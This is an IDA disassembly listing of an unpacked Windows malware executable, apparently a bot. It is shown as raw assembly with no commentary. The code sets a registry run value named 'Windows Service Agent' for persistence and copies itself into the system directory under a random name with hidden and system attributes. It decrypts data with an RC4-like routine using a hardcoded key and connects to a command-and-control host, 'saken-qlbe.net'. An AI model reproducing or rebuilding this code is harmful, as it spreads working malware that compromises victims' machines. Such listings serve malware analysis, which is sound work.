;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	9DD8DB3DA025679AE16DD398AA9F7660

; File Name   :	u:\work\9dd8db3da025679ae16dd398aa9f7660_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0003AB53 ( 240467.)
; Section size in file		: 0003AB53 ( 240467.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401000(char *Str)

sub_401000	proc near		; CODE XREF: WinMain(x,x,x,x)+358p
					; sub_4190F6+1Ep

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_43F050
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4E30AC	; RegCreateKeyExA
		cmp	[ebp+Str], esi
		jz	short loc_40104D
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4E311C	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4E305C	; RegDeleteValueA

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4E30D4	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_43F068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_43C01C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4010AB(char *Filename)

sub_4010AB	proc near		; CODE XREF: sub_416F62+24Ap

var_10		= dword	ptr -10h
Filename	= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx		; Mode
		call	_malloc
		mov	[esp+10h+var_10], offset dword_43F068
		push	[esp+10h+Filename] ; Filename
		mov	esi, eax
		call	_fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx		; NewSize
		push	esi		; Memory
		call	_realloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi		; File
		push	1		; Count
		lea	eax, [esi+ebx-1]
		push	1		; ElementSize
		push	eax		; DstBuf
		call	sub_41E3E0
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi		; Memory
		mov	ebx, eax
		call	_free
		push	edi		; File
		call	_fclose
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	_strlen
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	_memset
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h

loc_401227:				; CODE XREF: .text:00401231j
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_401227
		cmp	[ebp+14h], ebx
		jz	short loc_401256
		xor	eax, eax

loc_40123A:				; CODE XREF: .text:00401252j
		cmp	edi, [ebp+14h]
		jnz	short loc_401241
		xor	edi, edi

loc_401241:				; CODE XREF: .text:0040123Dj
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_40123A
		jmp	short loc_401270
; ---------------------------------------------------------------------------

loc_401256:				; CODE XREF: .text:00401236j
		xor	esi, esi

loc_401258:				; CODE XREF: .text:0040126Ej
		cmp	edi, [ebp-38h]
		jnz	short loc_40125F
		xor	edi, edi

loc_40125F:				; CODE XREF: .text:0040125Bj
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_401258

loc_401270:				; CODE XREF: .text:00401254j
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh

loc_40127A:				; CODE XREF: .text:004012B4j
		mov	dl, [ebp+edi-13Ch]
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		mov	bl, [ebp+ecx-13Ch]
		lea	ecx, [ebp+ecx-13Ch]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_40127A
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_401312

loc_4012C3:				; CODE XREF: .text:00401310j
		inc	edi
		and	edi, eax
		mov	dl, [ebp+edi-13Ch]
		lea	ecx, [ebp+edi-13Ch]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	bl, [ebp+esi-13Ch]
		mov	[ebp+14h], esi
		mov	[ecx], bl
		lea	esi, [ebp+esi-13Ch]
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_4012C3

loc_401312:				; CODE XREF: .text:004012C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401317	proc near		; DATA XREF: WinMain(x,x,x,x)+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
Dst		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_456024
		call	dword_4E3190	; closesocket
		call	sub_40B91F
		call	dword_4E3050	; WSACleanup
		call	dword_4E3050	; WSACleanup
		mov	ebx, ds:dword_4F534C
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi		; Size
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_455290
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_4F5340	; CreateProcessA
		test	eax, eax
		jz	short loc_4013DC
		push	64h
		call	ebx	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_4F533C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle

loc_4013DC:				; CODE XREF: sub_401317+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_455288
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_4F5338	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx

loc_4013FF:				; DATA XREF: .data:0043F004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_419551
		pop	ecx
		mov	dword_4E2E18, eax
		pop	ecx
		retn
sub_401317	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+121p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
Filename	= byte ptr -6F4h
Str		= byte ptr -5F4h
Ext		= byte ptr -4F0h
SubStr		= byte ptr -3F0h
FullPath	= byte ptr -2ECh
Dest		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
Source		= byte ptr -0A0h
Dst		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_401317
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_4F537C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4E2E1C, eax
		call	esi	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	sub_409DD4
		push	2
		call	dword_4E31A4	; SetErrorMode
		push	7530h
		push	offset aTrb	; "trb"
		push	ebx
		push	ebx
		call	ds:dword_4F5378	; CreateMutexA
		push	eax
		call	ds:dword_4F5374	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40149B
		push	1
		call	ds:dword_4F5338	; ExitProcess

loc_40149B:				; CODE XREF: WinMain(x,x,x,x)+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4E3068	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4019DE
		cmp	[ebp+var_884], 2
		jnz	loc_4019D8
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4019D8
		mov	esi, 104h
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		call	ds:dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+FullPath]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4F5370	; GetModuleHandleA
		push	eax
		call	ds:dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+Ext]
		push	eax		; Ext
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+FullPath]
		push	ebx		; Drive
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h
		lea	eax, [ebp+Ext]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+FullPath]
		push	eax		; Str
		call	_strstr
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401710
		cmp	dword_43F08C, ebx
		mov	esi, offset Str	; "nlzhxmpyrjsyle.exe"
		jz	short loc_401596
		push	esi		; Str
		xor	edi, edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		jz	short loc_401596

loc_401573:				; CODE XREF: WinMain(x,x,x,x)+179j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi		; Str
		add	dl, 61h
		mov	byte ptr Str[edi], dl ;	"nlzhxmpyrjsyle.exe"
		inc	edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401573

loc_401596:				; CODE XREF: WinMain(x,x,x,x)+148j
					; WinMain(x,x,x,x)+156j
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		lea	eax, [ebp+Dest]
		push	offset Format	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_4F536C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4015D6
		lea	eax, [ebp+Dest]
		push	80h
		push	eax
		call	ds:dword_4F5368	; SetFileAttributesA

loc_4015D6:				; CODE XREF: WinMain(x,x,x,x)+1A7j
		mov	esi, ds:dword_4F5364
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		xor	edi, edi
		push	eax

loc_4015ED:				; CODE XREF: WinMain(x,x,x,x)+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_401626
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_401626
		cmp	eax, 20h
		jz	short loc_401607
		cmp	eax, 5
		jnz	short loc_401626

loc_401607:				; CODE XREF: WinMain(x,x,x,x)+1E5j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_4F534C	; Sleep
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		jmp	short loc_4015ED
; ---------------------------------------------------------------------------

loc_401626:				; CODE XREF: WinMain(x,x,x,x)+1D6j
					; WinMain(x,x,x,x)+1E0j ...
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_418FAF
		pop	ecx
		lea	eax, [ebp+Dest]
		push	7
		push	eax
		call	ds:dword_4F5368	; SetFileAttributesA
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset dword_4E2F94
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	ds:dword_4F535C	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_4F5358	; OpenProcess
		lea	ecx, [ebp+FullPath]
		push	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+SubStr]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_4F5340	; CreateProcessA
		test	eax, eax
		jz	short loc_401710
		push	0C8h
		call	ds:dword_4F534C	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_4F533C
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4E3050	; WSACleanup
		push	ebx
		call	ds:dword_4F5338	; ExitProcess

loc_401710:				; CODE XREF: WinMain(x,x,x,x)+137j
					; WinMain(x,x,x,x)+2CBj
		cmp	dword_4F351C, 2
		jle	short loc_40175C
		mov	eax, dword_4F3520
		push	dword ptr [eax+4] ; Str
		call	_atoi
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_4F5374	; WaitForSingleObject
		push	esi
		call	ds:dword_4F533C	; CloseHandle
		mov	eax, dword_4F3520
		cmp	[eax+8], ebx
		jz	short loc_40175C
		push	7D0h
		call	ds:dword_4F534C	; Sleep
		mov	eax, dword_4F3520
		push	dword ptr [eax+8]
		call	ds:dword_4F5354	; DeleteFileA

loc_40175C:				; CODE XREF: WinMain(x,x,x,x)+2FCj
					; WinMain(x,x,x,x)+326j
		cmp	dword_43F090, ebx
		jz	short loc_401779
		cmp	dword_4E31C8, ebx
		jnz	short loc_401779
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_401000
		pop	ecx

loc_401779:				; CODE XREF: WinMain(x,x,x,x)+347j
					; WinMain(x,x,x,x)+34Fj
		lea	eax, [ebp+Source]
		push	offset asc_43FA60 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	ebx		; int
		push	eax		; Source
		call	sub_40B756
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		push	0B80h		; Size
		push	ebx		; Val
		push	offset dword_455298 ; Dst
		call	_memset
		add	esp, 24h
		lea	eax, [ebp+Source]
		push	offset asc_43FA7C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	1		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	esi, eax
		mov	edi, ds:dword_4F5350
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41A8E1
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_45602C[esi], eax
		jnz	short loc_40181C
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_43FAA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40181C:				; CODE XREF: WinMain(x,x,x,x)+3E4j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		push	2
		call	sub_40B99E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4018A1
		lea	eax, [ebp+Source]
		push	offset asc_43FAE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	2		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410C7D
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_45602C[esi], eax
		jnz	short loc_401894
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_43FB0C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_401894:				; CODE XREF: WinMain(x,x,x,x)+45Cj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_4018A1:				; CODE XREF: WinMain(x,x,x,x)+418j
		call	_rand
		push	7Fh		; Count
		and	eax, 3
		push	offset Source	; "saken-qlbe.net"
		push	offset Dest	; Dest
		mov	dword_4E2F8C, eax
		call	_strncpy
		mov	eax, dword_43F06C
		push	3Fh		; Count
		mov	edi, offset byte_4E2EA4
		push	offset a0	; "#0#"
		push	edi		; Dest
		mov	dword_4E2F74, eax
		call	_strncpy
		push	3Fh		; Count
		mov	esi, offset byte_4E2EE4
		push	offset a7lome	; "7lome"
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	dword_4E2F78, ebx

loc_4018F6:				; CODE XREF: WinMain(x,x,x,x)+563j
					; WinMain(x,x,x,x)+56Ej ...
		mov	[ebp+var_4], ebx

loc_4018F9:				; CODE XREF: WinMain(x,x,x,x)+517j
		push	offset dword_4E2E20
		mov	dword_4E2F88, ebx
		call	sub_4019E7
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4019D3
		cmp	dword_4E2F88, ebx
		jz	short loc_401920
		dec	[ebp+var_4]

loc_401920:				; CODE XREF: WinMain(x,x,x,x)+500j
		push	0BB8h
		call	ds:dword_4F534C	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4018F9
		cmp	[ebp+var_10], 2
		jz	loc_4019D3
		cmp	[ebp+var_C], ebx
		jz	short loc_401983
		push	7Fh		; Count
		push	offset Source	; "saken-qlbe.net"
		push	offset Dest	; Dest
		call	_strncpy
		mov	eax, dword_43F06C
		push	3Fh		; Count
		push	offset a0	; "#0#"
		push	edi		; Dest
		mov	dword_4E2F74, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset a7lome	; "7lome"
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4018F6
; ---------------------------------------------------------------------------

loc_401983:				; CODE XREF: WinMain(x,x,x,x)+526j
		cmp	byte_43F0E0, bl
		jz	loc_4018F6
		push	7Fh		; Count
		push	offset byte_43F0E0 ; Source
		push	offset Dest	; Dest
		call	_strncpy
		mov	eax, dword_43F070
		push	3Fh		; Count
		push	offset a1	; "#1#"
		push	edi		; Dest
		mov	dword_4E2F74, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset a7lome_0	; "7lome"
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4018F6
; ---------------------------------------------------------------------------

loc_4019D3:				; CODE XREF: WinMain(x,x,x,x)+4F4j
					; WinMain(x,x,x,x)+51Dj
		call	sub_40B91F

loc_4019D8:				; CODE XREF: WinMain(x,x,x,x)+A1j
					; WinMain(x,x,x,x)+B1j
		call	dword_4E3050	; WSACleanup

loc_4019DE:				; CODE XREF: WinMain(x,x,x,x)+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019E7	proc near		; CODE XREF: WinMain(x,x,x,x)+4E9p
					; DATA XREF: sub_401CC7+66ABo

var_190		= dword	ptr -190h
Args		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dest		= byte ptr -2Ch
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401A0C:				; CODE XREF: sub_4019E7+E6j
					; sub_4019E7+136j ...
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_4E30F8	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+Args]
		push	eax
		call	sub_40AE55
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401B39
		push	1Ch		; Size
		lea	eax, [ebp+Dest]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	0		; Str1
		lea	eax, [ebp+Dest]
		push	dword_43F0A0	; int
		push	dword_43F09C	; int
		push	eax		; Dest
		call	sub_40B44F
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh		; Count
		add	eax, offset byte_456030
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4E3178	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_456024[eax], esi
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401AD2
		push	esi
		call	dword_4E3190	; closesocket
		call	sub_40AE7E
		push	7D0h

loc_401AC7:				; CODE XREF: sub_4019E7+146j
		call	ds:dword_4F534C	; Sleep
		jmp	loc_401A0C
; ---------------------------------------------------------------------------

loc_401AD2:				; CODE XREF: sub_4019E7+CDj
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_43FB40 ; "-"
		call	sub_415CB3
		push	[ebp+var_38]
		lea	eax, [ebp+Args]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401B4F
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4E3190	; closesocket
		test	edi, edi
		jz	loc_401A0C
		cmp	edi, 1
		jnz	short loc_401B2F
		push	0DBBA0h
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401B2F:				; CODE XREF: sub_4019E7+13Fj
		cmp	edi, 2
		jz	short loc_401B3D
		jmp	loc_401A0C
; ---------------------------------------------------------------------------

